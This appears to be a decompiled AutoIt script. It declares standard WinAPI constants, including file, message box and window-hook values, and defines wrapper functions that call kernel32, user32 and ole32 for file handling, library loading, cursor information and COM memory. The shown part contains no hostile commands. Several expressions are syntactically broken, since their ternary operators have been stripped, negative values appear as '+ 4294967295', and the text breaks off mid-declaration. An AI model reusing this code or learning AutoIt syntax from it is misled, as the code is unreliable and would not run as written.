$FO_UTF16_LE = 32 GLOBAL CONST $FO_UTF16_BE = 64 GLOBAL CONST $FO_UTF8 = 128 GLOBAL CONST $FO_UTF8_NOBOM = 256 GLOBAL CONST $FO_ANSI = 512 GLOBAL CONST $FO_UTF16_LE_NOBOM = 1024 GLOBAL CONST $FO_UTF16_BE_NOBOM = 2048 GLOBAL CONST $FO_UTF8_FULL = 16384 GLOBAL CONST $FO_FULLFILE_DETECT = 16384 GLOBAL CONST $EOF = + 4294967295 GLOBAL CONST $FD_FILEMUSTEXIST = 1 GLOBAL CONST $FD_PATHMUSTEXIST = 2 GLOBAL CONST $FD_MULTISELECT = 4 GLOBAL CONST $FD_PROMPTCREATENEW = 8 GLOBAL CONST $FD_PROMPTOVERWRITE = 16 GLOBAL CONST $CREATE_NEW = 1 GLOBAL CONST $CREATE_ALWAYS = 2 GLOBAL CONST $OPEN_EXISTING = 3 GLOBAL CONST $OPEN_ALWAYS = 4 GLOBAL CONST $TRUNCATE_EXISTING = 5 GLOBAL CONST $INVALID_SET_FILE_POINTER = + 4294967295 GLOBAL CONST $FILE_BEGIN = 0 GLOBAL CONST $FILE_CURRENT = 1 GLOBAL CONST $FILE_END = 2 GLOBAL CONST $FILE_ATTRIBUTE_READONLY = 1 GLOBAL CONST $FILE_ATTRIBUTE_HIDDEN = 2 GLOBAL CONST $FILE_ATTRIBUTE_SYSTEM = 4 GLOBAL CONST $FILE_ATTRIBUTE_DIRECTORY = 16 GLOBAL CONST $FILE_ATTRIBUTE_ARCHIVE = 32 GLOBAL CONST $FILE_ATTRIBUTE_DEVICE = 64 GLOBAL CONST $FILE_ATTRIBUTE_NORMAL = 128 GLOBAL CONST $FILE_ATTRIBUTE_TEMPORARY = 256 GLOBAL CONST $FILE_ATTRIBUTE_SPARSE_FILE = 512 GLOBAL CONST $FILE_ATTRIBUTE_REPARSE_POINT = 1024 GLOBAL CONST $FILE_ATTRIBUTE_COMPRESSED = 2048 GLOBAL CONST $FILE_ATTRIBUTE_OFFLINE = 4096 GLOBAL CONST $FILE_ATTRIBUTE_NOT_CONTENT_INDEXED = 8192 GLOBAL CONST $FILE_ATTRIBUTE_ENCRYPTED = 16384 GLOBAL CONST $FILE_SHARE_READ = 1 GLOBAL CONST $FILE_SHARE_WRITE = 2 GLOBAL CONST $FILE_SHARE_DELETE = 4 GLOBAL CONST $FILE_SHARE_READWRITE = BITOR ($FILE_SHARE_READ , $FILE_SHARE_WRITE ) GLOBAL CONST $FILE_SHARE_ANY = BITOR ($FILE_SHARE_READ , $FILE_SHARE_WRITE , $FILE_SHARE_DELETE ) GLOBAL CONST $GENERIC_ALL = 268435456 GLOBAL CONST $GENERIC_EXECUTE = 536870912 GLOBAL CONST $GENERIC_WRITE = 1073741824 GLOBAL CONST $GENERIC_READ = 2147483648 GLOBAL CONST $GENERIC_READWRITE = BITOR ($GENERIC_READ , $GENERIC_WRITE ) GLOBAL CONST $FILE_ENCODING_UTF16LE = 32 GLOBAL CONST $FE_ENTIRE_UTF8 = 1 GLOBAL CONST $FE_PARTIALFIRST_UTF8 = 2 GLOBAL CONST $FN_FULLPATH = 0 GLOBAL CONST $FN_RELATIVEPATH = 1 GLOBAL CONST $FV_COMMENTS = "Comments" GLOBAL CONST $FV_COMPANYNAME = "CompanyName" GLOBAL CONST $FV_FILEDESCRIPTION = "FileDescription" GLOBAL CONST $FV_FILEVERSION = "FileVersion" GLOBAL CONST $FV_INTERNALNAME = "InternalName" GLOBAL CONST $FV_LEGALCOPYRIGHT = "LegalCopyright" GLOBAL CONST $FV_LEGALTRADEMARKS = "LegalTrademarks" GLOBAL CONST $FV_ORIGINALFILENAME = "OriginalFilename" GLOBAL CONST $FV_PRODUCTNAME = "ProductName" GLOBAL CONST $FV_PRODUCTVERSION = "ProductVersion" GLOBAL CONST $FV_PRIVATEBUILD = "PrivateBuild" GLOBAL CONST $FV_SPECIALBUILD = "SpecialBuild" GLOBAL CONST $FRTA_NOCOUNT = 0 GLOBAL CONST $FRTA_COUNT = 1 GLOBAL CONST $FRTA_INTARRAYS = 2 GLOBAL CONST $FRTA_ENTIRESPLIT = 4 GLOBAL CONST $FLTA_FILESFOLDERS = 0 GLOBAL CONST $FLTA_FILES = 1 GLOBAL CONST $FLTA_FOLDERS = 2 GLOBAL CONST $FLTAR_FILESFOLDERS = 0 GLOBAL CONST $FLTAR_FILES = 1 GLOBAL CONST $FLTAR_FOLDERS = 2 GLOBAL CONST $FLTAR_NOHIDDEN = 4 GLOBAL CONST $FLTAR_NOSYSTEM = 8 GLOBAL CONST $FLTAR_NOLINK = 16 GLOBAL CONST $FLTAR_NORECUR = 0 GLOBAL CONST $FLTAR_RECUR = 1 GLOBAL CONST $FLTAR_NOSORT = 0 GLOBAL CONST $FLTAR_SORT = 1 GLOBAL CONST $FLTAR_FASTSORT = 2 GLOBAL CONST $FLTAR_NOPATH = 0 GLOBAL CONST $FLTAR_RELPATH = 1 GLOBAL CONST $FLTAR_FULLPATH = 2 GLOBAL CONST $PATH_ORIGINAL = 0 GLOBAL CONST $PATH_DRIVE = 1 GLOBAL CONST $PATH_DIRECTORY = 2 GLOBAL CONST $PATH_FILENAME = 3 GLOBAL CONST $PATH_EXTENSION = 4 GLOBAL CONST $MB_OK = 0 GLOBAL CONST $MB_OKCANCEL = 1 GLOBAL CONST $MB_ABORTRETRYIGNORE = 2 GLOBAL CONST $MB_YESNOCANCEL = 3 GLOBAL CONST $MB_YESNO = 4 GLOBAL CONST $MB_RETRYCANCEL = 5 GLOBAL CONST $MB_CANCELTRYCONTINUE = 6 GLOBAL CONST $MB_HELP = 16384 GLOBAL CONST $MB_ICONSTOP = 16 GLOBAL CONST $MB_ICONERROR = 16 GLOBAL CONST $MB_ICONHAND = 16 GLOBAL CONST $MB_ICONQUESTION = 32 GLOBAL CONST $MB_ICONEXCLAMATION = 48 GLOBAL CONST $MB_ICONWARNING = 48 GLOBAL CONST $MB_ICONINFORMATION = 64 GLOBAL CONST $MB_ICONASTERISK = 64 GLOBAL CONST $MB_USERICON = 128 GLOBAL CONST $MB_DEFBUTTON1 = 0 GLOBAL CONST $MB_DEFBUTTON2 = 256 GLOBAL CONST $MB_DEFBUTTON3 = 512 GLOBAL CONST $MB_DEFBUTTON4 = 768 GLOBAL CONST $MB_APPLMODAL = 0 GLOBAL CONST $MB_SYSTEMMODAL = 4096 GLOBAL CONST $MB_TASKMODAL = 8192 GLOBAL CONST $MB_DEFAULT_DESKTOP_ONLY = 131072 GLOBAL CONST $MB_RIGHT = 524288 GLOBAL CONST $MB_RTLREADING = 1048576 GLOBAL CONST $MB_SETFOREGROUND = 65536 GLOBAL CONST $MB_TOPMOST = 262144 GLOBAL CONST $MB_SERVICE_NOTIFICATION = 2097152 GLOBAL CONST $MB_RIGHTJUSTIFIED = $MB_RIGHT GLOBAL CONST $IDTIMEOUT = + 4294967295 GLOBAL CONST $IDOK = 1 GLOBAL CONST $IDCANCEL = 2 GLOBAL CONST $IDABORT = 3 GLOBAL CONST $IDRETRY = 4 GLOBAL CONST $IDIGNORE = 5 GLOBAL CONST $IDYES = 6 GLOBAL CONST $IDNO = 7 GLOBAL CONST $IDCLOSE = 8 GLOBAL CONST $IDHELP = 9 GLOBAL CONST $IDTRYAGAIN = 10 GLOBAL CONST $IDCONTINUE = 11 #Region Global Variables and Constants GLOBAL $__G_VENUM , $__G_VEXT = 0 GLOBAL $__G_IRGBMODE = 1 GLOBAL CONST $TAGOSVERSIONINFO = "struct;dword OSVersionInfoSize;dword MajorVersion;dword MinorVersion;dword BuildNumber;dword PlatformId;wchar CSDVersion[128];endstruct" GLOBAL CONST $IMAGE_BITMAP = 0 GLOBAL CONST $IMAGE_ICON = 1 GLOBAL CONST $IMAGE_CURSOR = 2 GLOBAL CONST $IMAGE_ENHMETAFILE = 3 GLOBAL CONST $LR_DEFAULTCOLOR = 0 GLOBAL CONST $LR_MONOCHROME = 1 GLOBAL CONST $LR_COLOR = 2 GLOBAL CONST $LR_COPYRETURNORG = 4 GLOBAL CONST $LR_COPYDELETEORG = 8 GLOBAL CONST $LR_LOADFROMFILE = 16 GLOBAL CONST $LR_LOADTRANSPARENT = 32 GLOBAL CONST $LR_DEFAULTSIZE = 64 GLOBAL CONST $LR_VGACOLOR = 128 GLOBAL CONST $LR_LOADMAP3DCOLORS = 4096 GLOBAL CONST $LR_CREATEDIBSECTION = 8192 GLOBAL CONST $LR_COPYFROMRESOURCE = 16384 GLOBAL CONST $LR_SHARED = 32768 GLOBAL CONST $__TAGCURSORINFO = "dword Size;dword Flags;handle hCursor;" & "struct;long X;long Y;endstruct" GLOBAL CONST $__WINVER = __WINVER () #EndRegion Global Variables and Constants #Region Functions list #EndRegion Functions list #Region Public Functions FUNC _WINAPI_CREATEFILE ($SFILENAME , $ICREATION , $IACCESS = 4 , $ISHARE = 0 , $IATTRIBUTES = 0 , $TSECURITY = 0 ) LOCAL $IDA = 0 , $ISM = 0 , $ICD = 0 , $IFA = 0 IF BITAND ($IACCESS , 1 ) <> 0 THEN $IDA = BITOR ($IDA , $GENERIC_EXECUTE ) IF BITAND ($IACCESS , 2 ) <> 0 THEN $IDA = BITOR ($IDA , $GENERIC_READ ) IF BITAND ($IACCESS , 4 ) <> 0 THEN $IDA = BITOR ($IDA , $GENERIC_WRITE ) IF BITAND ($ISHARE , 1 ) <> 0 THEN $ISM = BITOR ($ISM , $FILE_SHARE_DELETE ) IF BITAND ($ISHARE , 2 ) <> 0 THEN $ISM = BITOR ($ISM , $FILE_SHARE_READ ) IF BITAND ($ISHARE , 4 ) <> 0 THEN $ISM = BITOR ($ISM , $FILE_SHARE_WRITE ) SWITCH $ICREATION CASE 0 $ICD = $CREATE_NEW CASE 1 $ICD = $CREATE_ALWAYS CASE 2 $ICD = $OPEN_EXISTING CASE 3 $ICD = $OPEN_ALWAYS CASE 4 $ICD = $TRUNCATE_EXISTING ENDSWITCH IF BITAND ($IATTRIBUTES , 1 ) <> 0 THEN $IFA = BITOR ($IFA , $FILE_ATTRIBUTE_ARCHIVE ) IF BITAND ($IATTRIBUTES , 2 ) <> 0 THEN $IFA = BITOR ($IFA , $FILE_ATTRIBUTE_HIDDEN ) IF BITAND ($IATTRIBUTES , 4 ) <> 0 THEN $IFA = BITOR ($IFA , $FILE_ATTRIBUTE_READONLY ) IF BITAND ($IATTRIBUTES , 8 ) <> 0 THEN $IFA = BITOR ($IFA , $FILE_ATTRIBUTE_SYSTEM ) LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "handle" , "CreateFileW" , "wstr" , $SFILENAME , "dword" , $IDA , "dword" , $ISM , "struct*" , $TSECURITY , "dword" , $ICD , "dword" , $IFA , "ptr" , 0 ) IF @ERROR OR ($ARESULT [0 ] = PTR (+ 4294967295 ) ) THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_FREELIBRARY ($HMODULE ) LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "bool" , "FreeLibrary" , "handle" , $HMODULE ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_GETCURSORINFO () LOCAL $TCURSOR = DLLSTRUCTCREATE ($__TAGCURSORINFO ) LOCAL $ICURSOR = DLLSTRUCTGETSIZE ($TCURSOR ) DLLSTRUCTSETDATA ($TCURSOR , "Size" , $ICURSOR ) LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "GetCursorInfo" , "struct*" , $TCURSOR ) IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 ) LOCAL $ACURSOR [5 ] $ACURSOR [0 ] = TRUE $ACURSOR [1 ] = DLLSTRUCTGETDATA ($TCURSOR , "Flags" ) <> 0 $ACURSOR [2 ] = DLLSTRUCTGETDATA ($TCURSOR , "hCursor" ) $ACURSOR [3 ] = DLLSTRUCTGETDATA ($TCURSOR , "X" ) $ACURSOR [4 ] = DLLSTRUCTGETDATA ($TCURSOR , "Y" ) RETURN $ACURSOR ENDFUNC FUNC _WINAPI_GETDLGCTRLID ($HWND ) LOCAL $ARESULT = DLLCALL ("user32.dll" , "int" , "GetDlgCtrlID" , "hwnd" , $HWND ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_GETMODULEHANDLE ($SMODULENAME ) LOCAL $SMODULENAMETYPE = "wstr" IF $SMODULENAME = "" THEN $SMODULENAME = 0 $SMODULENAMETYPE = "ptr" ENDIF LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "handle" , "GetModuleHandleW" , $SMODULENAMETYPE , $SMODULENAME ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_GETSTRING ($PSTRING , $BUNICODE = TRUE ) LOCAL $ILENGTH = _WINAPI_STRLEN ($PSTRING , $BUNICODE ) IF @ERROR OR NOT $ILENGTH THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , "" ) LOCAL $TSTRING = DLLSTRUCTCREATE (($BUNICODE "wchar" "char" ) & "[" & ($ILENGTH + 1 ) & "]" , $PSTRING ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , "" ) RETURN SETEXTENDED ($ILENGTH , DLLSTRUCTGETDATA ($TSTRING , 1 ) ) ENDFUNC FUNC _WINAPI_ISWOW64PROCESS ($IPID = 0 ) IF NOT $IPID THEN $IPID = @AUTOITPID LOCAL $HPROCESS = DLLCALL ("kernel32.dll" , "handle" , "OpenProcess" , "dword" , ($__WINVER < 1536 1024 4096 ) , "bool" , 0 , "dword" , $IPID ) IF @ERROR OR NOT $HPROCESS [0 ] THEN RETURN SETERROR (@ERROR + 20 , @EXTENDED , FALSE ) LOCAL $ARET = DLLCALL ("kernel32.dll" , "bool" , "IsWow64Process" , "handle" , $HPROCESS [0 ] , "bool*" , 0 ) IF __CHECKERRORCLOSEHANDLE ($ARET , $HPROCESS [0 ] ) THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARET [2 ] ENDFUNC FUNC _WINAPI_LOADIMAGE ($HINSTANCE , $SIMAGE , $ITYPE , $IXDESIRED , $IYDESIRED , $ILOAD ) LOCAL $ARESULT , $SIMAGETYPE = "int" IF ISSTRING ($SIMAGE ) THEN $SIMAGETYPE = "wstr" $ARESULT = DLLCALL ("user32.dll" , "handle" , "LoadImageW" , "handle" , $HINSTANCE , $SIMAGETYPE , $SIMAGE , "uint" , $ITYPE , "int" , $IXDESIRED , "int" , $IYDESIRED , "uint" , $ILOAD ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_LOADLIBRARY ($SFILENAME ) LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "handle" , "LoadLibraryW" , "wstr" , $SFILENAME ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_PATHISDIRECTORY ($SFILEPATH ) LOCAL $ARET = DLLCALL ("shlwapi.dll" , "bool" , "PathIsDirectoryW" , "wstr" , $SFILEPATH ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_READFILE ($HFILE , $PBUFFER , $ITOREAD , BYREF $IREAD , $TOVERLAPPED = 0 ) LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "bool" , "ReadFile" , "handle" , $HFILE , "struct*" , $PBUFFER , "dword" , $ITOREAD , "dword*" , 0 , "struct*" , $TOVERLAPPED ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) $IREAD = $ARESULT [4 ] RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_STRLEN ($PSTRING , $BUNICODE = TRUE ) LOCAL $W = "" IF $BUNICODE THEN $W = "W" LOCAL $ARET = DLLCALL ("kernel32.dll" , "int" , "lstrlen" & $W , "struct*" , $PSTRING ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_SWITCHCOLOR ($ICOLOR ) IF $ICOLOR = + 4294967295 THEN RETURN $ICOLOR RETURN BITOR (BITAND ($ICOLOR , 65280 ) , BITSHIFT (BITAND ($ICOLOR , 255 ) , + 4294967280 ) , BITSHIFT (BITAND ($ICOLOR , 16711680 ) , 16 ) ) ENDFUNC FUNC _WINAPI_WRITEFILE ($HFILE , $PBUFFER , $ITOWRITE , BYREF $IWRITTEN , $TOVERLAPPED = 0 ) LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "bool" , "WriteFile" , "handle" , $HFILE , "struct*" , $PBUFFER , "dword" , $ITOWRITE , "dword*" , 0 , "struct*" , $TOVERLAPPED ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) $IWRITTEN = $ARESULT [4 ] RETURN $ARESULT [0 ] ENDFUNC #EndRegion Public Functions #Region Internal Functions FUNC __CHECKERRORARRAYBOUNDS (CONST BYREF $ADATA , BYREF $ISTART , BYREF $IEND , $NDIM = 1 , $IDIM = $UBOUND_DIMENSIONS ) IF NOT ISARRAY ($ADATA ) THEN RETURN SETERROR (1 , 0 , 1 ) IF UBOUND ($ADATA , $IDIM ) <> $NDIM THEN RETURN SETERROR (2 , 0 , 1 ) IF $ISTART < 0 THEN $ISTART = 0 LOCAL $IUBOUND = UBOUND ($ADATA ) + 4294967295 IF $IEND < 1 OR $IEND > $IUBOUND THEN $IEND = $IUBOUND IF $ISTART > $IEND THEN RETURN SETERROR (4 , 0 , 1 ) RETURN 0 ENDFUNC FUNC __CHECKERRORCLOSEHANDLE ($ARET , $HFILE , $BLASTERROR = FALSE , $ICURERR = @ERROR , $ICUREXT = @EXTENDED ) IF NOT $ICURERR AND NOT $ARET [0 ] THEN $ICURERR = 10 LOCAL $ALASTERROR = DLLCALL ("kernel32.dll" , "dword" , "GetLastError" ) DLLCALL ("kernel32.dll" , "bool" , "CloseHandle" , "handle" , $HFILE ) IF $ICURERR THEN DLLCALL ("kernel32.dll" , "none" , "SetLastError" , "dword" , $ALASTERROR [0 ] ) IF $BLASTERROR THEN $ICUREXT = $ALASTERROR [0 ] RETURN SETERROR ($ICURERR , $ICUREXT , $ICURERR ) ENDFUNC FUNC __DLL ($SPATH , $BPIN = FALSE ) LOCAL $ARET = DLLCALL ("kernel32.dll" , "bool" , "GetModuleHandleExW" , "dword" , ($BPIN 1 2 ) , "wstr" , $SPATH , "ptr*" , 0 ) IF NOT $ARET [3 ] THEN LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "handle" , "LoadLibraryW" , "wstr" , $SPATH ) IF NOT $ARESULT [0 ] THEN RETURN 0 ENDIF RETURN 1 ENDFUNC FUNC __ENUMWINDOWSPROC ($HWND , $BVISIBLE ) LOCAL $ARESULT IF $BVISIBLE THEN $ARESULT = DLLCALL ("user32.dll" , "bool" , "IsWindowVisible" , "hwnd" , $HWND ) IF NOT $ARESULT [0 ] THEN RETURN 1 ENDIF ENDIF __INC ($__G_VENUM ) $__G_VENUM [$__G_VENUM [0 ] [0 ] ] [0 ] = $HWND $ARESULT = DLLCALL ("user32.dll" , "int" , "GetClassNameW" , "hwnd" , $HWND , "wstr" , "" , "int" , 4096 ) $__G_VENUM [$__G_VENUM [0 ] [0 ] ] [1 ] = $ARESULT [2 ] RETURN 1 ENDFUNC FUNC __FATALEXIT ($ICODE , $STEXT = "" ) IF $STEXT THEN MSGBOX ($MB_SYSTEMMODAL , "AutoIt" , $STEXT ) DLLCALL ("kernel32.dll" , "none" , "FatalExit" , "int" , $ICODE ) ENDFUNC FUNC __INC (BYREF $ADATA , $IINCREMENT = 100 ) SELECT CASE UBOUND ($ADATA , $UBOUND_COLUMNS ) IF $IINCREMENT < 0 THEN REDIM $ADATA [$ADATA [0 ] [0 ] + 1 ] [UBOUND ($ADATA , $UBOUND_COLUMNS ) ] ELSE $ADATA [0 ] [0 ] += 1 IF $ADATA [0 ] [0 ] > UBOUND ($ADATA ) + 4294967295 THEN REDIM $ADATA [$ADATA [0 ] [0 ] + $IINCREMENT ] [UBOUND ($ADATA , $UBOUND_COLUMNS ) ] ENDIF ENDIF CASE UBOUND ($ADATA , $UBOUND_ROWS ) IF $IINCREMENT < 0 THEN REDIM $ADATA [$ADATA [0 ] + 1 ] ELSE $ADATA [0 ] += 1 IF $ADATA [0 ] > UBOUND ($ADATA ) + 4294967295 THEN REDIM $ADATA [$ADATA [0 ] + $IINCREMENT ] ENDIF ENDIF CASE ELSE RETURN 0 ENDSELECT RETURN 1 ENDFUNC FUNC __RGB ($ICOLOR ) IF $__G_IRGBMODE THEN $ICOLOR = _WINAPI_SWITCHCOLOR ($ICOLOR ) ENDIF RETURN $ICOLOR ENDFUNC FUNC __WINVER () LOCAL $TOSVI = DLLSTRUCTCREATE ($TAGOSVERSIONINFO ) DLLSTRUCTSETDATA ($TOSVI , 1 , DLLSTRUCTGETSIZE ($TOSVI ) ) LOCAL $ARET = DLLCALL ("kernel32.dll" , "bool" , "GetVersionExW" , "struct*" , $TOSVI ) IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN BITOR (BITSHIFT (DLLSTRUCTGETDATA ($TOSVI , 2 ) , + 4294967288 ) , DLLSTRUCTGETDATA ($TOSVI , 3 ) ) ENDFUNC #EndRegion Internal Functions #Region Global Variables and Constants GLOBAL CONST $__TAGWINAPICOM_GUID = "struct;ulong Data1;ushort Data2;ushort Data3;byte Data4[8];endstruct" #EndRegion Global Variables and Constants #Region Functions list #EndRegion Functions list #Region Public Functions FUNC _WINAPI_CLSIDFROMPROGID ($SPROGID ) LOCAL $TGUID = DLLSTRUCTCREATE ($__TAGWINAPICOM_GUID ) LOCAL $ARETURN = DLLCALL ("ole32.dll" , "long" , "CLSIDFromProgID" , "wstr" , $SPROGID , "struct*" , $TGUID ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , "" ) IF $ARETURN [0 ] THEN RETURN SETERROR (10 , $ARETURN [0 ] , "" ) $ARETURN = DLLCALL ("ole32.dll" , "int" , "StringFromGUID2" , "struct*" , $TGUID , "wstr" , "" , "int" , 39 ) IF @ERROR OR NOT $ARETURN [0 ] THEN RETURN SETERROR (@ERROR + 20 , @EXTENDED , "" ) RETURN $ARETURN [2 ] ENDFUNC FUNC _WINAPI_COINITIALIZE ($IFLAGS = 0 ) LOCAL $ARETURN = DLLCALL ("ole32.dll" , "long" , "CoInitializeEx" , "ptr" , 0 , "dword" , $IFLAGS ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) IF $ARETURN [0 ] THEN RETURN SETERROR (10 , $ARETURN [0 ] , 0 ) RETURN 1 ENDFUNC FUNC _WINAPI_COTASKMEMALLOC ($ISIZE ) LOCAL $ARETURN = DLLCALL ("ole32.dll" , "ptr" , "CoTaskMemAlloc" , "uint_ptr" , $ISIZE ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARETURN [0 ] ENDFUNC FUNC _WINAPI_COTASKMEMFREE ($PMEMORY ) DLLCALL ("ole32.dll" , "none" , "CoTaskMemFree" , "ptr" , $PMEMORY ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN 1 ENDFUNC FUNC _WINAPI_COTASKMEMREALLOC ($PMEMORY , $ISIZE ) LOCAL $ARETURN = DLLCALL ("ole32.dll" , "ptr" , "CoTaskMemRealloc" , "ptr" , $PMEMORY , "ulong_ptr" , $ISIZE ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARETURN [0 ] ENDFUNC FUNC _WINAPI_COUNINITIALIZE () DLLCALL ("ole32.dll" , "none" , "CoUninitialize" ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN 1 ENDFUNC FUNC _WINAPI_CREATEGUID () LOCAL $TGUID = DLLSTRUCTCREATE ($__TAGWINAPICOM_GUID ) LOCAL $ARETURN = DLLCALL ("ole32.dll" , "long" , "CoCreateGuid" , "struct*" , $TGUID ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , "" ) IF $ARETURN [0 ] THEN RETURN SETERROR (10 , $ARETURN [0 ] , "" ) $ARETURN = DLLCALL ("ole32.dll" , "int" , "StringFromGUID2" , "struct*" , $TGUID , "wstr" , "" , "int" , 65536 ) IF @ERROR OR NOT $ARETURN [0 ] THEN RETURN SETERROR (@ERROR + 20 , @EXTENDED , "" ) RETURN $ARETURN [2 ] ENDFUNC FUNC _WINAPI_CREATESTREAMONHGLOBAL ($HGLOBAL = 0 , $BDELETEONRELEASE = TRUE ) LOCAL $ARETURN = DLLCALL ("ole32.dll" , "long" , "CreateStreamOnHGlobal" , "handle" , $HGLOBAL , "bool" , $BDELETEONRELEASE , "ptr*" , 0 ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) IF $ARETURN [0 ] THEN RETURN SETERROR (10 , $ARETURN [0 ] , 0 ) RETURN $ARETURN [3 ] ENDFUNC FUNC _WINAPI_GETHGLOBALFROMSTREAM ($PSTREAM ) LOCAL $ARETURN = DLLCALL ("ole32.dll" , "uint" , "GetHGlobalFromStream" , "ptr" , $PSTREAM , "ptr*" , 0 ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) IF $ARETURN [0 ] THEN RETURN SETERROR (10 , $ARETURN [0 ] , 0 ) RETURN $ARETURN [2 ] ENDFUNC FUNC _WINAPI_PROGIDFROMCLSID ($SCLSID ) LOCAL $TGUID = DLLSTRUCTCREATE ($__TAGWINAPICOM_GUID ) LOCAL $ARETURN = DLLCALL ("ole32.dll" , "uint" , "CLSIDFromString" , "wstr" , $SCLSID , "struct*" , $TGUID ) IF @ERROR OR $ARETURN [0 ] THEN RETURN SETERROR (@ERROR + 20 , @EXTENDED , "" ) $ARETURN = DLLCALL ("ole32.dll" , "uint" , "ProgIDFromCLSID" , "struct*" , $TGUID , "ptr*" , 0 ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , "" ) IF $ARETURN [0 ] THEN RETURN SETERROR (10 , $ARETURN [0 ] , "" ) LOCAL $SID = _WINAPI_GETSTRING ($ARETURN [2 ] ) _WINAPI_COTASKMEMFREE ($ARETURN [2 ] ) RETURN $SID ENDFUNC FUNC _WINAPI_RELEASESTREAM ($PSTREAM ) LOCAL $ARETURN = DLLCALL ("oleaut32.dll" , "long" , "DispCallFunc" , "ptr" , $PSTREAM , "ulong_ptr" , 8 * (1 + @AUTOITX64 ) , "uint" , 4 , "ushort" , 23 , "uint" , 0 , "ptr" , 0 , "ptr" , 0 , "str" , "" ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) IF $ARETURN [0 ] THEN RETURN SETERROR (10 , $ARETURN [0 ] , 0 ) RETURN 1 ENDFUNC #EndRegion Public Functions GLOBAL CONST $HGDI_ERROR = PTR (+ 4294967295 ) GLOBAL CONST $INVALID_HANDLE_VALUE = PTR (+ 4294967295 ) GLOBAL CONST $CLR_INVALID = + 4294967295 GLOBAL CONST $MB_PRECOMPOSED = 1 GLOBAL CONST $MB_COMPOSITE = 2 GLOBAL CONST $MB_USEGLYPHCHARS = 4 GLOBAL CONST $ULW_ALPHA = 2 GLOBAL CONST $ULW_COLORKEY = 1 GLOBAL CONST $ULW_OPAQUE = 4 GLOBAL CONST $ULW_EX_NORESIZE = 8 GLOBAL CONST $WH_CALLWNDPROC = 4 GLOBAL CONST $WH_CALLWNDPROCRET = 12 GLOBAL CONST $WH_CBT = 5 GLOBAL CONST $WH_DEBUG = 9 GLOBAL CONST $WH_FOREGROUNDIDLE = 11 GLOBAL CONST $WH_GETMESSAGE = 3 GLOBAL CONST $WH_JOURNALPLAYBACK = 1 GLOBAL CONST $WH_JOURNALRECORD = 0 GLOBAL CONST $WH_KEYBOARD = 2 GLOBAL CONST $WH_KEYBOARD_LL = 13 GLOBAL CONST $WH_MOUSE = 7 GLOBAL CONST $WH_MOUSE_LL = 14 GLOBAL CONST $WH_MSGFILTER = + 4294967295 GLOBAL CONST $WH_SHELL = 10 GLOBAL CONST $WH_SYSMSGFILTER = 6 GLOBAL CONST $WPF_ASYNCWINDOWPLACEMENT = 4 GLOBAL CONST $WPF_RESTORETOMAXIMIZED = 2 GLOBAL CONST $WPF_SETMINPOSITION = 1 GLOBAL CONST $KF_EXTENDED = 256 GLOBAL CONST $KF_ALTDOWN = 8192 GLOBAL CONST $KF_UP = 32768 GLOBAL CONST $LLKHF_EXTENDED = BITSHIFT ($KF_EXTENDED , 8 ) GLOBAL CONST $LLKHF_INJECTED = 16 GLOBAL CONST $LLKHF_ALTDOWN = BITSHIFT ($KF_ALTDOWN , 8 ) GLOBAL CONST $LLKHF_UP = BITSHIFT ($KF_UP , 8 ) GLOBAL CONST $OFN_ALLOWMULTISELECT = 512 GLOBAL CONST $OFN_CREATEPROMPT = 8192 GLOBAL CONST $OFN_DONTADDTORECENT = 33554432 GLOBAL CONST $OFN_ENABLEHOOK = 32 GLOBAL CONST $OFN_ENABLEINCLUDENOTIFY = 4194304 GLOBAL CONST $OFN_ENABLESIZING = 8388608 GLOBAL CONST $OFN_ENABLETEMPLATE = 64 GLOBAL CONST $OFN_ENABLETEMPLATEHANDLE = 128 GLOBAL CONST $OFN_EXPLORER = 524288 GLOBAL CONST 